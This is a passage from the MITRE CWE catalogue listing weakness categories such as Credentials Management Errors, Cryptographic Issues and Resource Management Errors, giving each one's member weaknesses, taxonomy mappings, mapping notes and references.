[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

## Category-254: 7PK - Security Features

Category ID : 254

### Summary

Software security is not security software. Here we're concerned with topics like authentication, access control, confidentiality, cryptography, and privilege management.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	700	Seven Pernicious Kingdoms	700	2317
HasMember	B	256	Plaintext Storage of a Password	700	583
HasMember	V	258	Empty Password in Configuration File	700	589
HasMember	V	259	Use of Hard-coded Password	700	591
HasMember	B	260	Password in Configuration File	700	596
HasMember	B	261	Weak Encoding for Password	700	598
HasMember	B	272	Least Privilege Violation	700	623
HasMember	P	284	Improper Access Control	700	644
HasMember	C	285	Improper Authorization	700	649
HasMember	C	330	Use of Insufficiently Random Values	700	772
HasMember	B	359	Exposure of Private Personal Information to an Unauthorized Actor	700	836
HasMember	B	798	Use of Hard-coded Credentials	700	1573

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Security Features

## Notes

### Mapping

Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).  
 Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019. Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves. Comments: consider mapping to weaknesses that are members of this Category.

## References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

## Category-255: Credentials Management Errors

Category ID : 255

### Summary

Weaknesses in this category are related to the management of credentials.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	635	Weaknesses Originally Used by NVD from 2008 to 2016	635	2311
MemberOf	V	699	Software Development	699	2315
MemberOf	C	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	711	2129
MemberOf	C	1353	OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures	1344	2287
HasMember	B	256	Plaintext Storage of a Password	699	583
HasMember	B	257	Storing Passwords in a Recoverable Format	699	586
HasMember	B	260	Password in Configuration File	699	596
HasMember	B	261	Weak Encoding for Password	699	598
HasMember	B	262	Not Using Password Aging	699	600
HasMember	B	263	Password Aging with Long Expiration	699	602
HasMember	B	324	Use of a Key Past its Expiration Date	699	752
HasMember	B	521	Weak Password Requirements	699	1154
HasMember	B	523	Unprotected Transport of Credentials	699	1161
HasMember	B	549	Missing Password Field Masking	699	1190
HasMember	B	620	Unverified Password Change	699	1301
HasMember	B	640	Weak Password Recovery Mechanism for Forgotten Password	699	1326
HasMember	B	798	Use of Hard-coded Credentials	699	1573
HasMember	B	916	Use of Password Hash With Insufficient Computational Effort	699	1688

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A3	CWE More Specific	Broken Authentication and Session Management

## Notes

### Mapping

Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities). Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019. Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves [REF-1287]. This CWE ID may have become widely-used because of NIST's usage in NVD from 2008 to 2016 (see CWE-635 view, updated to the CWE-1003 view in 2016). Comments: some weakness-oriented alternatives might be found under Improper Authentication (CWE-287) or keyword searches for credentials.

## References

[REF-1287]MITRE. "Supplemental Details - 2022 CWE Top 25". 2022 June 8. < [https://cwe.mitre.org/top25/archive/2022/2022\\_cwe\\_top25\\_supplemental.html#problematicMappingDetails](https://cwe.mitre.org/top25/archive/2022/2022_cwe_top25_supplemental.html#problematicMappingDetails) >.

## Category-264: Permissions, Privileges, and Access Controls

Category ID : 264

## Summary

Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.

## Membership

Nature	Type	ID	Name		Page
MemberOf	V	635	Weaknesses Originally Used by NVD from 2008 to 2016	635	2311
MemberOf	C	1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control	1344	2280

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Permissions, Privileges, and ACLs

## Notes

### Mapping

Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities). Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019. Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves [REF-1287]. This CWE ID may have become widely-used because of NIST's usage in NVD from 2008 to 2016 (see CWE-635 view, updated to the CWE-1003 view in 2016). Comments: some weakness-oriented alternatives might be found as descendants under Improper Access Control (CWE-284). Note: use of CWE-284 is Discouraged; see CWE-284's Mapping Notes.

### Maintenance

This entry heavily overlaps other categories and has been marked obsolete.

## References

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.

[REF-1287]MITRE. "Supplemental Details - 2022 CWE Top 25". 2022 June 8. < [https://cwe.mitre.org/top25/archive/2022/2022\\_cwe\\_top25\\_supplemental.html#problematicMappingDetails](https://cwe.mitre.org/top25/archive/2022/2022_cwe_top25_supplemental.html#problematicMappingDetails) >.

## Category-265: Privilege Issues

Category ID : 265

### Summary

Weaknesses in this category occur with improper handling, assignment, or management of privileges. A privilege is a property of an agent, such as a user. It lets the agent do things that are not ordinarily allowed. For example, there are privileges which allow an agent to perform maintenance functions such as restart a computer.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2315
HasMember	V	243	Creation of chroot Jail Without Changing Working Directory	699	559
HasMember	B	250	Execution with Unnecessary Privileges	699	568
HasMember	B	266	Incorrect Privilege Assignment	699	605
HasMember	B	267	Privilege Defined With Unsafe Actions	699	608
HasMember	B	268	Privilege Chaining	699	611
HasMember	B	270	Privilege Context Switching Error	699	618
HasMember	B	272	Least Privilege Violation	699	623
HasMember	B	273	Improper Check for Dropped Privileges	699	626
HasMember	B	274	Improper Handling of Insufficient Privileges	699	629
HasMember	B	280	Improper Handling of Insufficient Permissions or Privileges	699	638
HasMember	B	501	Trust Boundary Violation	699	1135
HasMember	V	580	clone() Method Without super.clone()	699	1234
HasMember	B	648	Incorrect Use of Privileged APIs	699	1344

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Privilege / sandbox errors

### Notes

#### Relationship

This can strongly overlap authorization errors.

#### Theoretical

A sandbox could be regarded as an explicitly defined sphere of control, in that the sandbox only defines a limited set of behaviors, which can only access a limited set of resources.

#### Theoretical

It could be argued that any privilege problem occurs within the context of a sandbox.

#### Research Gap

Many of the following concepts require deeper study. Most privilege problems are not classified at such a low level of detail, and terminology is very sparse. Certain classes of software, such as web browsers and software bug trackers, provide a rich set of examples for further research.

Operating systems have matured to the point that these kinds of weaknesses are rare, but finer-grained models for privileges, capabilities, or roles might introduce subtler issues.

## Category-275: Permission Issues

Category ID : 275

### Summary

Weaknesses in this category are related to improper assignment or handling of permissions.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2315
MemberOf	C	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	711	2128
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2133
MemberOf	C	1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control	1344	2280
HasMember	B	276	Incorrect Default Permissions	699	630
HasMember	V	277	Insecure Inherited Permissions	699	634
HasMember	V	278	Insecure Preserved Inherited Permissions	699	635
HasMember	V	279	Incorrect Execution-Assigned Permissions	699	636
HasMember	B	280	Improper Handling of Insufficient Permissions or Privileges	699	638
HasMember	B	281	Improper Preservation of Permissions	699	640
HasMember	B	618	Exposed Unsafe ActiveX Method	699	1299
HasMember	V	766	Critical Data Element Declared Public	699	1495
HasMember	V	767	Access to Critical Private Variable via Public Method	699	1498

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Permission errors
OWASP Top Ten 2004	A2	CWE More Specific	Broken Access Control
OWASP Top Ten 2004	A10	CWE More Specific	Insecure Configuration Management

### Notes

#### Terminology

Permissions are associated with a resource and specify which actors are allowed to access that resource and what they are allowed to do with that access (e.g., read it, modify it). Privileges are associated with an actor and define which behaviors or actions an actor is allowed to perform.

#### Mapping

Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities). Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019. Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves. Comments: consider mapping to weaknesses that are members of this Category.

### References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.



## Category-310: Cryptographic Issues

Category ID : 310

### Summary

Weaknesses in this category are related to the design and implementation of data confidentiality and integrity. Frequently these deal with the use of encoding techniques, encryption libraries, and hashing algorithms. The weaknesses in this category could lead to a degradation of the quality data if they are not addressed.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	635	Weaknesses Originally Used by NVD from 2008 to 2016	635	2311
MemberOf	V	699	Software Development	699	2315
MemberOf	C	1346	OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures	1344	2281
HasMember	B	261	Weak Encoding for Password	699	598
HasMember	B	324	Use of a Key Past its Expiration Date	699	752
HasMember	B	325	Missing Cryptographic Step	699	754
HasMember	B	328	Use of Weak Hash	699	765
HasMember	B	331	Insufficient Entropy	699	778
HasMember	B	334	Small Space of Random Values	699	784
HasMember	B	335	Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG)	699	786
HasMember	B	338	Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)	699	793
HasMember	B	347	Improper Verification of Cryptographic Signature	699	811
HasMember	B	916	Use of Password Hash With Insufficient Computational Effort	699	1688
HasMember	B	1240	Use of a Cryptographic Primitive with a Risky Implementation	699	1869

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Cryptographic Issues

### Notes

#### Mapping

Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).  
 Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019. Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves [REF-1287]. This CWE ID may have become widely-used because of NIST's usage in NVD from 2008 to 2016 (see CWE-635 view, updated to the CWE-1003 view in 2016).  
 Comments: some weakness-oriented alternatives might be found as descendants under Use of a Broken or Risky Cryptographic Algorithm (CWE-327)

### References

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.



[REF-1287]MITRE. "Supplemental Details - 2022 CWE Top 25". 2022 June 8. < [https://cwe.mitre.org/top25/archive/2022/2022\\_cwe\\_top25\\_supplemental.html#problematicMappingDetails](https://cwe.mitre.org/top25/archive/2022/2022_cwe_top25_supplemental.html#problematicMappingDetails) >.

## Category-320: Key Management Errors

Category ID : 320

### Summary

Weaknesses in this category are related to errors in the management of cryptographic keys.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2315
MemberOf	C	934	OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure	928	2184
MemberOf	C	1029	OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure	1026	2229
HasMember	V	321	Use of Hard-coded Cryptographic Key	699	745
HasMember	B	322	Key Exchange without Entity Authentication	699	749
HasMember	V	323	Reusing a Nonce, Key Pair in Encryption	699	750
HasMember	B	324	Use of a Key Past its Expiration Date	699	752

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Key Management Errors

### Notes

#### Maintenance

This entry heavily overlaps other categories and has been marked obsolete.

#### Mapping

Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities). Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019. Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves. Comments: consider mapping to weaknesses that are members of this Category.

## Category-355: User Interface Security Issues

Category ID : 355

### Summary

Weaknesses in this category are related to or introduced in the User Interface (UI).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2315
HasMember	V	317	Cleartext Storage of Sensitive Information in GUI	699	737
HasMember	B	356	Product UI does not Warn User of Unsafe Actions	699	832
HasMember	B	357	Insufficient UI Warning of Dangerous Operations	699	833

Nature	Type	ID	Name	V	Page
HasMember	B	447	Unimplemented or Unsupported Feature in UI	699	1015
HasMember	B	448	Obsolete Feature in UI	699	1017
HasMember	B	449	The UI Performs the Wrong Action	699	1017
HasMember	B	450	Multiple Interpretations of UI Input	699	1019
HasMember	B	549	Missing Password Field Masking	699	1190
HasMember	B	1007	Insufficient Visual Distinction of Homoglyphs Presented to User	699	1724
HasMember	B	1021	Improper Restriction of Rendered UI Layers or Frames	699	1727

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			(UI) User Interface Errors

### Notes

#### Research Gap

User interface errors that are relevant to security have not been studied at a high level.

## Category-361: 7PK - Time and State

Category ID : 361

### Summary

This category represents one of the phyla in the Seven Pernicious Kingdoms vulnerability classification. It includes weaknesses related to the improper management of time and state in an environment that supports simultaneous or near-simultaneous computation by multiple systems, processes, or threads. According to the authors of the Seven Pernicious Kingdoms, "Distributed computation is about time and state. That is, in order for more than one component to communicate, state must be shared, and all that takes time. Most programmers anthropomorphize their work. They think about one thread of control carrying out the entire program in the same way they would if they had to do the job themselves. Modern computers, however, switch between tasks very quickly, and in multi-core, multi-CPU, or distributed systems, two events may take place at exactly the same time. Defects rush to fill the gap between the programmer's model of how a program executes and what happens in reality. These defects are related to unexpected interactions between threads, processes, time, and information. These interactions happen through shared state: semaphores, variables, the file system, and, basically, anything that can store information."

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	700	Seven Pernicious Kingdoms	700	2317
HasMember	B	364	Signal Handler Race Condition	700	851
HasMember	B	367	Time-of-check Time-of-use (TOCTOU) Race Condition	700	858
HasMember	G	377	Insecure Temporary File	700	876
HasMember	V	382	J2EE Bad Practices: Use of System.exit()	700	883
HasMember	V	383	J2EE Bad Practices: Direct Use of Threads	700	885
HasMember	C	384	Session Fixation	700	887
HasMember	B	412	Unrestricted Externally Accessible Lock	700	947

### References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools

Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

## Category-371: State Issues

Category ID : 371

### Summary

Weaknesses in this category are related to improper management of system state.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2315
HasMember	B	15	External Control of System or Configuration Setting	699	17
HasMember	B	372	Incomplete Internal State Distinction	699	870
HasMember	B	374	Passing Mutable Objects to an Untrusted Method	699	871
HasMember	B	375	Returning a Mutable Object to an Untrusted Caller	699	874
HasMember	B	1265	Unintended Reentrant Invocation of Non-reentrant Code Via Nested Calls	699	1926

## Category-387: Signal Errors

Category ID : 387

### Summary

Weaknesses in this category are related to the improper handling of signals.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2315
HasMember	B	364	Signal Handler Race Condition	699	851
HasMember	B	432	Dangerous Signal Handler not Disabled During Sensitive Operations	699	988
HasMember	B	828	Signal Handler with Functionality that is not Asynchronous-Safe	699	1617
HasMember	B	831	Signal Handler Function Associated with Multiple Signals	699	1629

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Signal Errors

### Notes

#### Maintenance

Several weaknesses could exist, but this needs more study. Some weaknesses might be unhandled signals, untrusted signals, and sending the wrong signals.

## Category-388: 7PK - Errors

2114

---

**Category ID** : 388

### Summary

This category represents one of the phyla in the Seven Pernicious Kingdoms vulnerability classification. It includes weaknesses that occur when an application does not properly handle errors that occur during processing. According to the authors of the Seven Pernicious Kingdoms, "Errors and error handling represent a class of API. Errors related to error handling are so common that they deserve a special kingdom of their own. As with 'API Abuse,' there are two ways to introduce an error-related security vulnerability: the most common one is handling errors poorly (or not at all). The second is producing errors that either give out too much information (to possible attackers) or are difficult to handle."

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	700	Seven Pernicious Kingdoms	700	2317
HasMember	B	391	Unchecked Error Condition	700	898
HasMember	B	395	Use of NullPointerException Catch to Detect NULL Pointer Dereference	700	906
HasMember	B	396	Declaration of Catch for Generic Exception	700	908
HasMember	B	397	Declaration of Throws for Generic Exception	700	910

### Notes

#### Mapping

Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities). Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019. Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves. Comments: consider mapping to weaknesses that are members of this Category.

### References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

---

## Category-389: Error Conditions, Return Values, Status Codes

**Category ID** : 389

### Summary

This category includes weaknesses that occur if a function does not generate the correct return/status code, or if the application does not handle all possible return/status codes that could be generated by a function. This type of problem is most often found in conditions that are rarely encountered during the normal operation of the product. Presumably, most bugs related to common conditions are found and eliminated during development and testing. In some cases, the attacker can directly control or influence the environment to trigger the rare conditions.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2315

Nature	Type	ID	Name	V	Page
MemberOf	C	728	OWASP Top Ten 2004 Category A7 - Improper Error Handling	711	2131
HasMember	B	209	Generation of Error Message Containing Sensitive Information	699	510
HasMember	B	248	Uncaught Exception	699	566
HasMember	B	252	Unchecked Return Value	699	575
HasMember	B	253	Incorrect Check of Function Return Value	699	582
HasMember	B	390	Detection of Error Condition Without Action	699	893
HasMember	B	391	Unchecked Error Condition	699	898
HasMember	B	392	Missing Report of Error Condition	699	901
HasMember	B	393	Return of Wrong Status Code	699	903
HasMember	B	394	Unexpected Status Code or Return Value	699	904
HasMember	B	395	Use of NullPointerException Catch to Detect NULL Pointer Dereference	699	906
HasMember	B	396	Declaration of Catch for Generic Exception	699	908
HasMember	B	397	Declaration of Throws for Generic Exception	699	910
HasMember	B	544	Missing Standardized Error Handling Mechanism	699	1185
HasMember	B	584	Return Inside Finally Block	699	1240
HasMember	B	600	Uncaught Exception in Servlet	699	1264
HasMember	B	617	Reachable Assertion	699	1297
HasMember	B	756	Missing Custom Error Page	699	1469
HasMember	B	1069	Empty Exception Block	699	1770

## Notes

### Other

Many researchers focus on the resultant weaknesses and do not necessarily diagnose whether a rare condition is the primary factor. However, since 2005 it seems to be reported more frequently than in the past. This subject needs more study.

## References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

## Category-398: 7PK - Code Quality

Category ID : 398

## Summary

This category represents one of the phyla in the Seven Pernicious Kingdoms vulnerability classification. It includes weaknesses that do not directly introduce a weakness or vulnerability, but indicate that the product has not been carefully developed or maintained. According to the authors of the Seven Pernicious Kingdoms, "Poor code quality leads to unpredictable behavior. From a user's perspective that often manifests itself as poor usability. For an adversary it provides an opportunity to stress the system in unexpected ways."

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	700	Seven Pernicious Kingdoms	700	2317
MemberOf	C	978	SFP Secondary Cluster: Implementation	888	2201
HasMember	V	401	Missing Release of Memory after Effective Lifetime	700	921

Nature	Type	ID	Name	V	Page
HasMember	G	404	Improper Resource Shutdown or Release	700	927
HasMember	V	415	Double Free	700	954
HasMember	V	416	Use After Free	700	958
HasMember	V	457	Use of Uninitialized Variable	700	1034
HasMember	B	474	Use of Function with Inconsistent Implementations	700	1067
HasMember	B	475	Undefined Behavior for Input to API	700	1069
HasMember	B	476	NULL Pointer Dereference	700	1070
HasMember	B	477	Use of Obsolete Function	700	1076

## References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

## Category-399: Resource Management Errors

Category ID : 399

### Summary

Weaknesses in this category are related to improper management of system resources.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	635	Weaknesses Originally Used by NVD from 2008 to 2016	635	2311
MemberOf	V	699	Software Development	699	2315
HasMember	B	73	External Control of File Name or Path	699	128
HasMember	B	403	Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak')	699	925
HasMember	B	410	Insufficient Resource Pool	699	945
HasMember	B	470	Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')	699	1057
HasMember	B	502	Deserialization of Untrusted Data	699	1137
HasMember	B	619	Dangling Database Cursor ('Cursor Injection')	699	1300
HasMember	B	641	Improper Restriction of Names for Files and Other Resources	699	1329
HasMember	B	694	Use of Multiple Resources with Duplicate Identifier	699	1424
HasMember	B	763	Release of Invalid Pointer or Reference	699	1488
HasMember	B	770	Allocation of Resources Without Limits or Throttling	699	1502
HasMember	B	771	Missing Reference to Active Allocated Resource	699	1510
HasMember	B	772	Missing Release of Resource after Effective Lifetime	699	1512
HasMember	B	826	Premature Release of Resource During Expected Lifetime	699	1614
HasMember	B	908	Use of Uninitialized Resource	699	1669
HasMember	B	909	Missing Initialization of Resource	699	1673
HasMember	B	910	Use of Expired File Descriptor	699	1677
HasMember	B	911	Improper Update of Reference Count	699	1678
HasMember	B	914	Improper Control of Dynamically-Identified Variables	699	1682

Nature	Type	ID	Name	V	Page
HasMember	B	915	Improperly Controlled Modification of Dynamically-Determined Object Attributes	699	1684
HasMember	B	920	Improper Restriction of Power Consumption	699	1696
HasMember	B	1188	Insecure Default Initialization of Resource	699	1828

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Resource Management Errors

### Notes

#### Mapping

Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities). Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019. Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves [REF-1287]. This CWE ID may have become widely-used because of NIST's usage in NVD from 2008 to 2016 (see CWE-635 view, updated to the CWE-1003 view in 2016). Comments: some weakness-oriented alternatives might be found as descendants under Uncontrolled Resource Consumption (CWE-400).

### References

[REF-1287]MITRE. "Supplemental Details - 2022 CWE Top 25". 2022 June 8. < [https://cwe.mitre.org/top25/archive/2022/2022\\_cwe\\_top25\\_supplemental.html#problematicMappingDetails](https://cwe.mitre.org/top25/archive/2022/2022_cwe_top25_supplemental.html#problematicMappingDetails) >.

## Category-411: Resource Locking Problems

Category ID : 411

### Summary

Weaknesses in this category are related to improper handling of locks that are used to control access to resources.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2315
HasMember	B	412	Unrestricted Externally Accessible Lock	699	947
HasMember	B	413	Improper Resource Locking	699	950
HasMember	B	414	Missing Lock Check	699	953
HasMember	B	609	Double-Checked Locking	699	1283
HasMember	B	764	Multiple Locks of a Critical Resource	699	1493
HasMember	B	765	Multiple Unlocks of a Critical Resource	699	1494
HasMember	B	832	Unlock of a Resource that is not Locked	699	1631
HasMember	B	833	Deadlock	699	1632

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Resource Locking problems



## Category-417: Communication Channel Errors

Category ID : 417

### Summary

Weaknesses in this category are related to improper handling of communication channels and access paths. These weaknesses include problems in creating, managing, or removing alternate channels and alternate paths. Some of these can overlap virtual file problems and are commonly used in "bypass" attacks, such as those that exploit authentication errors.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2315
HasMember	B	322	Key Exchange without Entity Authentication	699	749
HasMember	C	346	Origin Validation Error	699	808
HasMember	B	385	Covert Timing Channel	699	890
HasMember	B	419	Unprotected Primary Channel	699	962
HasMember	B	420	Unprotected Alternate Channel	699	963
HasMember	B	425	Direct Request ('Forced Browsing')	699	969
HasMember	B	515	Covert Storage Channel	699	1152
HasMember	B	924	Improper Enforcement of Message Integrity During Transmission in a Communication Channel	699	1701
HasMember	B	940	Improper Verification of Source of a Communication Channel	699	1712
HasMember	B	941	Incorrectly Specified Destination in a Communication Channel	699	1715

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER	CHAP.VIRTFILE		Channel and Path Errors

### Notes

#### Research Gap

Most of these issues are probably under-studied. Only a handful of public reports exist.

## Category-429: Handler Errors

Category ID : 429

### Summary

Weaknesses in this category are related to improper management of handlers.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2315
HasMember	B	430	Deployment of Wrong Handler	699	985
HasMember	B	431	Missing Handler	699	986
HasMember	B	432	Dangerous Signal Handler not Disabled During Sensitive Operations	699	988
HasMember	V	433	Unparsed Raw Web Content Delivery	699	989
HasMember	B	434	Unrestricted Upload of File with Dangerous Type	699	991

Nature	Type	ID	Name	V	Page
HasMember	V	479	Signal Handler Use of a Non-reentrant Function	699	1084

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Handler Errors

## Category-438: Behavioral Problems

Category ID : 438

### Summary

Weaknesses in this category are related to unexpected behaviors from code that an application uses.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2315
HasMember	B	115	Misinterpretation of Input	699	271
HasMember	B	179	Incorrect Behavior Order: Early Validation	699	430
HasMember	B	408	Incorrect Behavior Order: Early Amplification	699	942
HasMember	B	437	Incomplete Model of Endpoint Features	699	1002
HasMember	B	439	Behavioral Change in New Version or Environment	699	1003
HasMember	B	440	Expected Behavior Violation	699	1004
HasMember	B	444	Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')	699	1009
HasMember	B	480	Use of Incorrect Operator	699	1087
HasMember	B	483	Incorrect Block Delimitation	699	1095
HasMember	B	484	Omitted Break Statement in Switch	699	1097
HasMember	B	551	Incorrect Behavior Order: Authorization Before Parsing and Canonicalization	699	1192
HasMember	B	698	Execution After Redirect (EAR)	699	1431
HasMember	B	733	Compiler Optimization Removal or Modification of Security-critical Code	699	1454
HasMember	B	783	Operator Precedence Logic Error	699	1536
HasMember	B	835	Loop with Unreachable Exit Condition ('Infinite Loop')	699	1636
HasMember	B	837	Improper Enforcement of a Single, Unique Action	699	1640
HasMember	B	841	Improper Enforcement of Behavioral Workflow	699	1649
HasMember	B	1025	Comparison Using Wrong Factors	699	1734
HasMember	B	1037	Processor Optimization Removal or Modification of Security-critical Code	699	1736

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Behavioral problems

## Category-452: Initialization and Cleanup Errors

Category ID : 452

## Summary

Weaknesses in this category occur in behaviors that are used for initialization and breakdown.

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2315
HasMember	B	226	Sensitive Information in Resource Not Removed Before Reuse	699	536
HasMember	B	454	External Initialization of Trusted Variables or Data Stores	699	1025
